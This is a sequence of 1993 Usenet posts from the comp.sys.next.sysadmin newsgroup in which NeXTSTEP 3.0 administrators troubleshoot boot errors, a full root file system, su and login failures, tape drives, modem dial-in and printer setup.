> it?). Any clues? E-mail appreciated.
I didn't see your original post, but our experience with spurious
DMA interrupts may help - we hooked up a slab to a Tbase10 network
(twisted pair ethernet). A few days later, the slab would not boot,
giving the "spurious DMA interrupts" errors. We replaced the
slab, and the replacement slab had the same problem.
The network people played with the network cable and
configuration, which eliminated the problem. I believe the
problem was caused by an ethernet short on the cable or in the
closet.
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
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From: engstrom@src.honeywell.com (Eric Engstrom)
Subject: /bin/su sez: "No shell" - no workspace login problem
Message-ID: <ENGSTROM.93May21094812@moriarty.src.honeywell.com>
Originator: engstrom@moriarty.src.honeywell.com
Sender: news@src.honeywell.com (News interface)
Organization: Honeywell Systems & Research Center, Minneapolis, MN
Date: Fri, 21 May 1993 15:48:12 GMT
I'm tired of banging my head against the wall on this one, so perhaps someone
out there can help me.
A bit of history first: My system disk ( a Seagate 250 ) w/ 3.0 installed and
working just great for months, began to become unbearably noisy. It was
still under warranty, so I had it replaced w/ a new drive that had 3.0
pre-installed.
Problem: After recovering /Local*, /Users, etc., and recovering partial
netinfo, I have the two, I believe related, problems:
- /bin/su <some-user-not-in-wheel-group>
When I try to su to another user who is not in the wheel group (everybody
on my machine except my-login and "root"), su says: "No shell". Note that
if the user is in the wheel group (I added an arbitrary user and tried),
everything is fine.
What I have looked for/at or tried:
- /etc/shells - has all the required info (i.e., /bin/csh is in it)
- rebuild netinfo - copied from /usr/template/client/etc/netinfo
some users then re-entered by hand.
- permissions on csh - looks right, in comparison to my backup before
this new drive.
- Login window
When logins are attempted, it validates the password, but after it tries
to start the workspace, something fails and the login window returns
Again, this only happens for users NOT in the wheel group.
Am I forgetting some simple customization that I made long ago. Does anybody
have ANY ideas - (I'll entertain anything, since none of my ideas seem to
work)
I actually have another problem, but I believe it is related: Mail to users
is getting stuck in the sendmail queue. Sendmail -bp (/bin/mailq) says that
the mail is "Deferred", but it doesn't tell me anything like it normally does
(i.e., host down, can't resolve name, etc), in fact, it doesn't say anything;
just "Deferred."
I can send mail to myself (i.e., login: eric sends mail to eric), but mail
from other users is "Deferred" (i.e., login: root sends mail to eric). Mail
coming in from uucp gets through rmail and into sendmail, but again gets
stuck in the queue as "Deferred".
Any ideas?
Eric
p.s. please send mail to "engstrom@src.honeywell.com", as my NeXTMail address
is hosed (as stated above)
--
Eric Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA
engstrom@src.honeywell.com -or- NeXTMail: eric%basilisk@src.honeywell.com
< I eat from the four food groups: Barley, Hops, Yeast, Water. >
From: jneher@darkwing.uoregon.edu (Jonathan Neher)
Newsgroups: comp.sys.next.sysadmin
Subject: xdm on NeXT
Date: 21 May 1993 17:47:59 GMT
Organization: University of Oregon Network Services
Distribution: world
Message-ID: <1tj4kf$35v@pith.uoregon.edu>
Has anyone successfully configured xdm on a NeXT to accept logins from
an NCD X terminal. We are running Coexist 3.0 (X11.R5) xdm on an NeXT
with an empty Xservers file so that it won't try to manage the local
display. We try to login via xdm from an NCD X-terminal and after we enter
our username/passwd at xdm's login screen. We are blown out of the water.
We've tried paring down the xdm Xsession file to ONLY:
exec /usr/bin/X11/xterm
but we still have the same results.
X stuff works fine if we telnet to the NeXT and run xterms, mwm, etc.
Any ideas would be appreciated.
Thanks,
Jonathan Neher
--
Systems Programmer Office: 213 Computing Center
Computing Center Internet: jneher@darkwing.uoregon.edu
University of Oregon Voice: (503) 346-1731
Eugene, OR 97403-1212 Amateur Radio: N7WNX
Newsgroups: comp.sys.next.sysadmin
From: tpg@rchland.vnet.ibm.com (Terry Gliedt)
Subject: Backup philosophy
Sender: news@rchland.ibm.com
Message-ID: <1993May21.194943.33908@rchland.ibm.com>
Date: Fri, 21 May 1993 19:49:43 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
Organization: IBM Rochester
I'd like to solicit opinions from you all about an approach I have taken
for administration of my workstation. This is rather long, but I hope
worthwhile for some of you.
INTRODUCTION
This is a stand-alone machine so the approach does not reflect choices
one might make in a network-ed environment. The important hardware
involved is
NeXTstation (mono, 20MB)
105MB internal drive (/dev/sd1a)
600MB external drive (/dev/sd0a)
external tape drive (/dev/sd2a)
As an operational note I should tell you that the device as sd2a gets
switched around depending on my needs. Usually this is a NeXT CDROM
drive, but when I need to do backups I swap to a tape drive.
WHAT IS WHERE
sd0a (600MB external drive) is my boot/swap device. I installed 3.0
(correctly, Mr. Mahoney :-)) from the CDROM. I have only created the
following directories for MY data:
/LocalApps
/LocalLibrary
/2.1 (in the hopes Icon from my 2.1 system might work)
/usr/local
/u
All uids that I created have their home directory on /u (e.g. /u/tpg) and
/u is a symbolic link to /MyDisk/u on my 105MB internal drive (sd1a).
Obviously I assume /u/tpg < 105MB (usually hangs around 60-80MB).
Big things I want to keep (fonts, images, sounds) go into /LocalLibrary
after I decide I want to keep them.
PHILOSOPHY
One primary goal is that all user data is on one isolated disk.
This is not for performance, but for safety. Of course this assumes
it all fits :-).
Another primary goal is that all data of mine resides solely in
directories I have created (i.e. /LocalLibrary, /LocalApps, /u,
/usr/local etc). This reduces the directories that need backing up.
I never directly modify files on the system as installed from NeXT.
If/when I need to modify a NeXT-owned file (even with a file like
/etc/rc.local that the installation is supposed to modify), I do the
following (using /etc/rc.local as an example):
mv /etc/rc.local /etc/rc.local.orig
ln -s /usr/local/lib/etc.rc.local /etc/rc.local
cp /etc/rc.local.orig /usr/local/lib/etc.rc.local
Modilfy etc.rc.local as required
In addition I seldom do anything by logging in as root. My regular tpg
uid, is a conventional user. In order to allow installation by tpg,
I have made most non-NeXT directories owned by tpg. To make things
easier I have a magic club in the form of a 'root' command that allows
me to issue single commands with root authority. I am real careful when
I enter commands with this. Conventional maintenance is done under
root as needed (creating uids etc).
One 'trick' I used was to make the Receipts directory owned by tpg.
Thus when I install normal Apps, the receipt files can get updated by
tpg. The Receipt file names are also saved in /usr/local/lib so I know
what packages I need to re-fetch and re-install.
BACKUPS
I have a shell which copies "important NeXT data" to the directory
/usr/local/lib/system. In this file is copied various root-owned files
(/.NeXT, /.login, /.cshrc etc) and the like - files that are
dynamic/changing and I would rather not lose. But losing them would not
keep me down. In addition the shell runs nidump for everything that is
important (e.g. nidump passwd .) and simply keeps this in a flat file.
Again the idea here is to copy all system-important data to a directory
that I will backup. Backups are done with gnu-tar (not compressed) to
tapes. If sd0a dies, I can get a basic system back together by booting
from floppy and using the CDROM. Once that is back, then I can restore my
two small backup tapes (/u on one, everything else on the second).
Everything I need to put things back together is in /usr/local/lib.
I will accept a manual process of putting the system back together.
CONCLUSION AND QUESTIONS
So that's the way I have things put together. Its been tested - twice
(once intentional, once not). All I can say is that it works. In fact
I have even put a few shells in /usr/local/lib that I can execute to
semi-automate steps like the (mv, ln -s shown above) and chown-ing the
proper directories. I have not tried to automate niloads, but even
that can be done.
So what do you think ? This is disaster recovery planning. I know I
can get back to my last backup if I need it (with some work). Any
suggestions on a better way to work? I think this scheme is expandable
and pretty natural for networked machines. When I get mail, Fax etc I
think it will all pretty well fit in this scheme. Am I correct?
Thanks for your time.
Terry Gliedt
tpg@rchland.vnet.ibm.com
Newsgroups: comp.sys.next.sysadmin
From: bobcook@slac.stanford.edu (Bob Cook)
Subject: What is "Exception #3" during boot?
Message-ID: <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Fri, 21 May 1993 20:01:54 GMT
The following occurs on a Station running 3.0 with 20 MB memory and a 105 MB
hard disk. Very soon after Power on, the "verbose" message window appears. Its only contents are:
Exception #3 (0xc) at 0x10002aa
NeXT>
What does this mean? I have never seen it before on this (or other similar) machines. If one issues the "b" command after the halt, the machine boots fine and seems to run fine.
I've tried to find info about it with Digital Librarian in the extended version docs, NeXTanswers, and the NeXT FAQ but have been unsuccessful. I'd appreciate any help. Thanks.
--
Bob Cook bobcook@slac.stanford.edu
Stanford Linear Accelerator Center NeXT mail okay
From: tim@apple.com (Tim Olson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What is "Exception #3" during boot?
Followup-To: comp.sys.next.sysadmin
Date: 21 May 1993 22:27:40 GMT
Organization: Apple Computer, Inc. / Somerset
Distribution: world
Message-ID: <tim-210593172524@129.38.222.43>
References: <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU>
In article <C7E7n7.FtD@unixhub.SLAC.Stanford.EDU>,
bobcook@slac.stanford.edu (Bob Cook) wrote:
>
> The following occurs on a Station running 3.0 with 20 MB memory and a 105 MB
>
> hard disk. Very soon after Power on, the "verbose" message window appears. Its only contents are:
>
> Exception #3 (0xc) at 0x10002aa
> NeXT>
>
> What does this mean? I have never seen it before on this (or other similar) machines. If one issues the "b" command after the halt, the machine boots fine and seems to run fine.
Exception 3 is the 68040 "Address Error" exception vector. It is invoked
whenever the processor detects a branch to an odd (as in "not even", not as
in "weird" ;-) address.
As to why this is occuring in your system, you've got me. Have you checked
your boot preferences to make sure you have the correct boot parameters?
-- Tim Olson
Apple Computer Inc. / Somerset
Newsgroups: comp.sys.next.sysadmin
From: cpl1@kimbark.uchicago.edu (Corey Liss)
Subject: using networked Apple printers
Message-ID: <1993May21.232529.18945@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: Academic and Pulic Computing
Date: Fri, 21 May 1993 23:25:29 GMT
OK, I've totally frustrated myself on this one, and I can't seem to find any
useful FAQ documentation on this in the sonata or orst archives, so I'm
tossing it out to the world at large to get ridiculed... :)
Basically: The site we're running has a number of Apple LaserWriters (IIGs and
IINTXs) hooked into an EtherTalk network, being run from central servers/
print spoolers via AppleTalk. We've also got a number of NeXTs running over
the same ethernet network.
I'm trying to get the NeXTs to recognize the Apple LaserWriters. The problem
I'm running into is that NetInfo seems to either assume a printer directly
connected to a NeXT via a serial connection, or else connected to a server
which it can communicate with as a unix box (i.e. not a mac running some
variation on AppleTalk). I can't figure out how to get it to send jobs
over the ethernet to the macintosh print spoolers... I'm guessing that
it has something to do with the Comm value in /Local/printers/[printername]
in NetInfo, but I'm not sure what to change it *to*...
Can anyone point me in the right direction on how to handle this?...
thanks...
-Corey Liss
cpl1@midway.uchicago.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts'
Message-ID: <SCOTT.93May21223715@nic.gac.edu>
From: scott@nic.gac.edu (Scott Hess)
Date: 21 May 93 22:37:15
References: <1surjb$p91@tamsun.tamu.edu> <1993May16.191445.1046@gamelan>
Organization: Is a sign of weakness
In-reply-to: thf@zelator.in-berlin.de's message of Sun, 16 May 1993 19:14:45 GMT
In article <1993May16.191445.1046@gamelan>,
thf@zelator.in-berlin.de (Thomas Funke) writes:
>Nothing should crash a NeXT. But the famous 'crashme' program, run
>as non-root of course, does it in a few milliseconds. I read
>recentliy, at least on NS/Intel it would take a few minutes. Did
>anybody try that ?
It probably takes minutes under NS/Intel because it takes that long
to swap everything available in and out of memory. [No, I've not
been impressed by NS/Intel's swapping speed. At least I _hope_
that that's what was slowing things down ...]
Later,
--
scott hess <shess@ssesco.com> <To the BatCube, Robin>
12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
From: ali@elm.uucp (Ali Sidani)
Subject: Help!! File System FULL
Message-ID: <1993May22.162821.7977@cs.ucf.edu>
Sender: news@cs.ucf.edu (News system)
Organization: Intelligent Simulation and Training Systems
Date: Sat, 22 May 1993 16:28:21 GMT
Hi,
I have a NeXTStation 8/200 with NS 3.0. I was running some programs
and it hanged. I tried to reboot then after the checking disk said
"File system clean", it gave the following error.
/: File system full
IO error on pageout: error = 28
vnode_pageout: failed!
How can I correct this problem? I need to delete some files on the system,
but how can I get access to the harddisk?
Your assistance is greatly appreciated.
Please reply ASAP :-(
thanks
ali
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: any reason to keep netinfo master at 2.0 when most clients at 3.0?
Message-ID: <67851@mimsy.umd.edu>
Date: 22 May 93 16:41:22 GMT
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
is there any reason to keep the netinfo master at 2.0 when most or all
clients are at 3.0? I was under the impression that netinfo 3.0 had
better performance is that true. Its possible that this machine was
left at 2.1 because somebody was being conservative. Or is there
some bad bug/performance hit or other reason not to upgrade the master?
--
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
--------------------------------------------------------------
"Without an engaged and motivated human being at the keyboard,
the computer is just another dumb box." William Raspberry
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From: yf5990@u.cc.utah.edu (Yan Fang)
Subject: Configuring dialins to slab with SupraFAXmodem
Message-ID: <1993May22.184403.20704@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center Student Mail Machine
Date: Sat, 22 May 93 18:44:03 GMT
Hi there. I had a second line installed at the house last week and I've had
no success configuring the Supra attached to it for dialin. I'd like to
get it working this weekend so I can dial in from the Expo and check my
mail. I have an idea that someone could mail me his or her working
/etc/ttys and /etc/gettytab or could send me email or post a suggestion or
two.
I've tried every possible permutation of parity and carrier and terminal
speed there is. I've had the getty run on ttyda and ttydfa, both with
identical results.
Here are the pertinent contents of /etc/ttys and /etc/gettytab:
.../etc/ttys
ttya "/usr/etc/getty std.9600" unknown off secure
ttyb "/usr/etc/getty std.9600" unknown off secure
ttyfa "/usr/etc/getty std.19200" unknown off
ttyfb "/usr/etc/getty std.9600" unknown off secure
ttyda "/usr/etc/getty D19200" unknown off
ttydb "/usr/etc/getty D9600" unknown off
ttydfa "/usr/etc/getty D38400" dialup on
ttydfb "/usr/etc/getty D9600" unknown off
.../etc/gettytab
default:\
:ap:im=\r\n\r\n\r\nSalt Lake area NeXT Group\r\nNeXT Mach (%h)
(%t)\r\n\r\r\n\r:\
:er=\177:kl=^U:in=^C:lm=\r\n%h login\72 :sp#9600:
[munch]
std.38400|38400-baud:\
:ap:sp#38400:
D38400:ap:nx=D9600:tc=38400-baud:
I've also set up my Supra to autoanswer. I had explicitly set it to hang up
the modem when DTR is off, and to set DCD when it senses a modem carrier.
That produced garbage when I connected to my polling sites, so I took it out.
Here are the current modem settings:
quux Any DIR 38400 cufa \
ABORT BUSY \
ABORT NO_CARRIER \
ABORT NO_DIALTONE \
"" AT&F1&K3S0=1S11=55S95=255 \
"" ATM0DTxxxyyyy \
in:--in: Ufoo \
word: bar
Here are the modem settings that produced garbage when I polled a remote site:
quux Any DIR 38400 cufa \
ABORT BUSY \
ABORT NO_CARRIER \
ABORT NO_DIALTONE \
"" AT&F1&K3&D0&Q1S0=1S11=55S95=255 \
"" ATM0DTxxxyyyy \
in:--in: Ufoo \
word: bar
I haven't saved the settings, but since my machine polls quux every hour
it should reset properly every time.
If you have some time on your hands before the Expo maybe you could
email or post some suggestions. It'd sure be nice to be able to dial into
my machine from my hotel room and check mail. The user group members are
quite anxious to receive mail and news as well. Hell, call me at home at
801.355.6351 if you so wish.
Kris Magnusson
--
Yan-Fang Magnusson <yf5990@u.cc.utah.edu>
Nuclear-powered philosophy student <Give me $20 or kill me>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: Help!! File System FULL
In-Reply-To: ali@elm.uucp's message of Sat, 22 May 1993 16:28:21 GMT
Message-ID: <KARTHY.93May22204008@dannug.dannug.dk>
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <1993May22.162821.7977@cs.ucf.edu>
Date: Sat, 22 May 1993 19:40:08 GMT
>>>>> On Sat, 22 May 1993 16:28:21 GMT, ali@elm.uucp (Ali Sidani) said:
Ali> Hi,
Ali> I have a NeXTStation 8/200 with NS 3.0. I was running some programs
Ali> and it hanged. I tried to reboot then after the checking disk said
Ali> "File system clean", it gave the following error.
Ali> /: File system full
Ali> IO error on pageout: error = 28
Ali> vnode_pageout: failed!
Ali> How can I correct this problem? I need to delete some files on the system,
Ali> but how can I get access to the harddisk?
Ali> Your assistance is greatly appreciated.
Ali> Please reply ASAP :-(
You has been offer to the usual problem. The swapfile has grown
beyond bounds and filled the harddisk to mush. There is only one thing
to do: boot from another device like CD, floppy or borrow another
harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
To ensure that it will not happen again, you can install a highwater
mark in /etc/swaptab - take a look at the manual page.
Good luck,
Karsten.
Newsgroups: comp.sys.next.sysadmin
From: neil@ms.uky.edu (Neil Greene)
Subject: Unmounting / failing
Message-ID: <C7G69v.1zr@ms.uky.edu>
Keywords: reboot, unmount
Organization: Kentucky NeXT User Group, Inc.
Date: Sat, 22 May 1993 21:27:30 GMT
I have been having problems with my system fschking everytime after a proper
shutdown. Looking in the log of critical system messages, I found that the /
partition is not being unmounted for some reason. Any ideas why this system
may be failing an unmount?? Could it be because it is the server and another
machine is not letting go of the filesystem? Or, is the problem local??
Here is what I found in /usr/adm/critical_log:
> May 17 12:39:39 deepthought mach: Killing all processes
> May 17 12:39:39 deepthought mach: continuing
> May 17 12:39:39 deepthought mach: unmounting /s2 ... done
> May 17 12:39:39 deepthought mach: unmounting /s1 ... done
> May 17 12:39:39 deepthought mach: Root unmount FAILED
> May 17 12:39:39 deepthought mach: 3 3 2 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
> rebooting Mach...
reboot continues sussessfully.
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From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: Re: crashing a NeXT, was 'Re: spurious DMA interrupts'
In-Reply-To: scott@nic.gac.edu's message of 21 May 93 22:37:15
Message-ID: <HERRING.93May23003045@fermat.iesd.auc.dk>
Sender: news@iesd.auc.dk (UseNet News)
Organization: Mathematics and Computer Science, Aalborg University
References: <1surjb$p91@tamsun.tamu.edu> <1993May16.191445.1046@gamelan>
<SCOTT.93May21223715@nic.gac.edu>
Date: 22 May 1993 23:30:45 GMT
>Nothing should crash a NeXT. But the famous 'crashme' program, run
>as non-root of course, does it in a few milliseconds. I read
>recentliy, at least on NS/Intel it would take a few minutes. Did
>anybody try that ?
Just as good, and just as reliable (on an '040 cube running 3.0) is to
insert a Linux boot diskette in the built-in floppy drive. Panic,
system going down on signal 15, failed unmounting root file system 2 2
2 2 2 2 ...
Very ugly.
--
-----
Erick Herring | Computation is the art of carefully throwing
H Data, Aalborg | away information [and] Life is the art of
UNIX Consulting | carefully throwing away opportunities, an
SysAdmin & Programming | interesting coincidental parallel.
herring@iesd.auc.dk | - Guy L. Steele Jr.
From: glenn@rightbrain.com (Glenn Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help!! File System FULL
Message-ID: <1220@rtbrain.rightbrain.com>
Date: 23 May 93 04:01:04 GMT
References: <KARTHY.93May22204008@dannug.dannug.dk>
Sender: glenn@rightbrain.com
Karsten Thygesen writes
> You has been offer to the usual problem. The swapfile has grown
> beyond bounds and filled the harddisk to mush. There is only one thing
> to do: boot from another device like CD, floppy or borrow another
> harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
I think this is bad advice, and also I don't think this was the problem
that the original poster has.
First of all, the swap file is automatically reset to its default size
when you reboot. If the swap file were the problem, it would fix itself.
If another runaway process or something fills up the disk, you have a
different problem. I would boot single-user and look around on the disk
for something to delete.
To boot single-user, read the Sysadmin manual carefully, then do this:
* When the machine starts to power up, after the Testing phase,
hit Command-Command-` (on the numeric key pad).
* Type "mon" to get to the monitor
* Type "bsd -s" to boot single-user
This will give you a Unix shell and nothing else in the way of interface,
so you have to know what you're doing.
--
Glenn Reid NeXTmail: glenn@rightbrain.com
RightBrain Software 415-326-2974 (NeXTfax 326-2977)
Palo Alto, California Electronic Frontier Foundation, member #054
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Really strange Open Sesame fault
Date: 23 May 1993 07:22:47 +0100
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1tn57n$258@steffi.demon.co.uk>
Before I went to bed last night I ran open sesame with Mail.app. IE. I
ran Mail.app as root whilst logged in to the robert account. This
morning I found that NeXTMail.app has gotten all mail from
/usr/spool/mail/robert and put it in root's active mailbox.
This is most strange.
--
Real programmers don't create classes, they build hierarchies.
(me)
"If it doesn't compile and run emacs, it's not a computer."
(Erik C. Sowa)
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From: joe@FreemanSoft.com (Joe Freeman)
Subject: DAT drives
Message-ID: <1993May22.234145.322@FreemanSoft.com>
Keywords: problem, is it block size
Sender: jfreeman@FreemanSoft.com
Organization: FreemanSoft Inc.
Distribution: usa
Date: Sat, 22 May 1993 23:41:45 GMT
I just got a new DAT drive for backup purposes and ran dump against it to
build my first backup. Now, after rebooting I want to play some more with
the device. But, I get the following error whenever I try and read from
the device (with a tape in)
st: cmd = 0x8 sr_io_status = 2H
Sense key = 0x0 Sense Code = 0x0
I guess the question, is "Does this drive have to run in fixed block size
like some of the QIC drives" Also, has anyone else used a WangDAT drive
on a NS before.
Thanks,
--
Joe Freeman
FreemanSoft Inc.
Joe@FreemanSoft.com
919.783.7033
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From: jfreem@uncecs.edu (Joe Freeman)
Subject: cmsg cancel <1993May23.013653.28396@ecsvax.uncecs.edu>
Message-ID: <1993May23.054605.5276@ecsvax.uncecs.edu>
Sender: jfreem@ecsvax.uncecs.edu (Joe Freeman)
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Distribution: usa
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<1993May23.013653.28396@ecsvax.uncecs.edu> was cancelled from within rn.
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The opinions espressed here are my own and are not
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From: jfreem@ecsvax.uncecs.edu (Joe Freeman)
Subject: Re: DAT drives
Message-ID: <1993May23.054859.5370@ecsvax.uncecs.edu>
Keywords: problem, is it block size
Organization: UNC Educational Computing Service
References: <1993May22.234145.322@FreemanSoft.com>
Distribution: usa
Date: Sun, 23 May 1993 05:48:59 GMT
I'm answering my own posting, sort of. Of course using a different
account makes it look like someone else gave the answer.
It appears that I needed to set the SCSI command set switch to
SCSI-1 and then use the fixed block program (fblock in this case).
Now the question is:
1) What is a good block size for a fixed block
driver for a DAT drive?
I tried 512 bytes and that seems to work fine for tar and
dump. But, the 1024 char pathname version of tar croaks
on that block size.
Any comments?
In article <1993May22.234145.322@FreemanSoft.com> joe@FreemanSoft.com writes:
>
>
>I just got a new DAT drive for backup purposes and ran dump against it to
>build my first backup. Now, after rebooting I want to play some more with
>the device. But, I get the following error whenever I try and read from
>the device (with a tape in)
>
>st: cmd = 0x8 sr_io_status = 2H
> Sense key = 0x0 Sense Code = 0x0
>
>
>I guess the question, is "Does this drive have to run in fixed block size
>like some of the QIC drives" Also, has anyone else used a WangDAT drive
>on a NS before.
>
--
Joe Freeman joe@FreemanSoft.com (919).783.7033
The opinions espressed here are my own and are not
shared by my former employer.
Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Help!! File System FULL
Message-ID: <1993May22.201040.1486@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993May22.162821.7977@cs.ucf.edu>
Distribution: na
Date: Sat, 22 May 1993 20:10:40 GMT
In article <1993May22.162821.7977@cs.ucf.edu> ali@elm.uucp (Ali Sidani)
writes:
> I have a NeXTStation 8/200 with NS 3.0. I was running some programs
> and it hanged. I tried to reboot then after the checking disk said
> "File system clean", it gave the following error.
>
> /: File system full
> IO error on pageout: error = 28
> vnode_pageout: failed!
>
> How can I correct this problem? I need to delete some files on the
system,
> but how can I get access to the harddisk?
You need to boot in single user mode or, if that fails, from a floppy
disk. To boot in single user mode, type "bsd -s" in the ROM monitor.
M Carling
President, Bay Area NeXT Group
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From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: Help!! File System FULL
Message-ID: <1993May23.124343.21142@news.csuohio.edu>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
References: <KARTHY.93May22204008@dannug.dannug.dk>
Date: Sun, 23 May 1993 12:43:43 GMT
Karsten Thygesen (karthy@dannug.dk) wrote:
: You has been offer to the usual problem. The swapfile has grown
: beyond bounds and filled the harddisk to mush. There is only one thing
: to do: boot from another device like CD, floppy or borrow another
: harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
Isn't it possible to just do the removal from the ROM monitor, without
having to resort to booting from another drive?
--
| Joe Rosenfeld cowboy@trans.csuohio.edu
| CSU Law Library j.rosenfeld@csuohio.edu
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
Subject: Re: Help!! File System FULL
Message-ID: <67871@mimsy.umd.edu>
Date: 23 May 93 19:18:24 GMT
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Karsten Thygesen (karthy@dannug.dk) wrote:
: You has been offer to the usual problem. The swapfile has grown
: beyond bounds and filled the harddisk to mush. There is only one thing
: to do: boot from another device like CD, floppy or borrow another
: harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
> Isn't it possible to just do the removal from the ROM monitor, without
> having to resort to booting from another drive?
I dont think you can do this from the monitor, but you are right.
There is no need to boot from another device.
just boot in single user mode (bsd -s) and then remove the swapfile
--
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
--------------------------------------------------------------
"Without an engaged and motivated human being at the keyboard,
the computer is just another dumb box." William Raspberry
From: matthews@is-next.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
Subject: Re: Help!! File System FULL
Date: 23 May 1993 22:08:15 GMT
Organization: Los Alamos National Laboratory, NM
Message-ID: <1toskf$i1v@umd5.umd.edu>
References: <1993May22.162821.7977@cs.ucf.edu>
In article <1993May22.162821.7977@cs.ucf.edu> ali@elm.uucp (Ali Sidani) writes:
>Hi,
Yo
>/: File system full
>IO error on pageout: error = 28
>vnode_pageout: failed!
>How can I correct this problem? I need to delete some files on the system,
>but how can I get access to the harddisk?
If your machine won't boot, you have to do the following:
From the ROM monitor, bsd -sb
That puts you into reallyreallyraw single-user mode. So raw, in fact, that
your root partition is still mounted readonly (the -b in the boot command
tells the NeXT not to source /etc/rc.boot, which mounts / readwrite and tries
to write to / as a side effect). So,
mount -o remount,rw /
Now you're free to go in and blow away what you want gone. Don't get too
carried away, though. :->
>Your assistance is greatly appreciated.
>Please reply ASAP :-(
Your Email address may need some fixing. ali@elm.uucp *might* work but I'm
going the Followup route.
>thanks
>ali
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------
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power. There seems to be universal acceptance of that idea in the nation."
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From: matthews@is-next.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: BIND 4.9 released
Date: 23 May 1993 21:58:19 GMT
Organization: Los Alamos National Laboratory, NM
Message-ID: <1tos1r$huu@umd5.umd.edu>
References: <JBRYANS.93May19110333@wren.csulb.edu> <1993May20.083503.18546@csus.edu> <JBRYANS.93May20111530@wren.csulb.edu>
In article <JBRYANS.93May20111530@wren.csulb.edu> jbryans@csulb.edu (Jack Bryans) writes:
>Nope, don't Wall & the warnings cut down to 45. BFD. It's been running
>here on primary, secondary, & caching only name servers for a month w/only
>nearly dramatic performance improvement to complain about.
Is there perchance a "fix" for clients (NeXTs) so that they listen to the
'searchlist' directive in /etc/resolv.conf?
[I'm not expecting a "yes" by the way, just thought I'd ask.]
>Jack
------
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------
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From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: Help!! File System FULL
In-Reply-To: cowboy@trans.csuohio.edu's message of Sun, 23 May 1993 12:43:43 GMT
Message-ID: <KARTHY.93May23222710@dannug.dannug.dk>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.hardware
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <KARTHY.93May22204008@dannug.dannug.dk>
<1993May23.124343.21142@news.csuohio.edu>
Date: Sun, 23 May 1993 21:27:10 GMT
>>>>> On Sun, 23 May 1993 12:43:43 GMT, cowboy@trans.csuohio.edu (Joe Rosenfeld) said:
Joe> Karsten Thygesen (karthy@dannug.dk) wrote:
Joe> : You has been offer to the usual problem. The swapfile has grown
Joe> : beyond bounds and filled the harddisk to mush. There is only one thing
Joe> : to do: boot from another device like CD, floppy or borrow another
Joe> : harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
Joe> Isn't it possible to just do the removal from the ROM monitor, without
Joe> having to resort to booting from another drive?
How would you do that? The filesystem is not loaded at that time which
means that you have to treat the disk as a raw SCSI disk. It is
NeXTSTEP which shows the disk as a nice tree structure with files and
directories, so unless you are realy smart and knows how to handfixes
the i-nodes, then don't even try.
Try to get a bootfloppy, CD or another harddisk to bring up an Unix
and let that interpret the data as a filesystem.
Good luck,
Karsten.
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From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: Help!! File System FULL
In-Reply-To: glenn@rightbrain.com's message of 23 May 93 04:01:04 GMT
Message-ID: <KARTHY.93May23225635@dannug.dannug.dk>
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <KARTHY.93May22204008@dannug.dannug.dk> <1220@rtbrain.rightbrain.com>
Date: Sun, 23 May 1993 21:56:35 GMT
>>>>> On 23 May 93 04:01:04 GMT, glenn@rightbrain.com (Glenn Reid) said:
Glenn> Karsten Thygesen writes
> You has been offer to the usual problem. The swapfile has grown
> beyond bounds and filled the harddisk to mush. There is only one thing
> to do: boot from another device like CD, floppy or borrow another
> harddisk, then remove the swapfile (/private/vm/swapfile) and reboot.
Glenn> I think this is bad advice, and also I don't think this was the problem
Glenn> that the original poster has.
I seems like it IS the problem - I tried the same thing twice in the
last month.
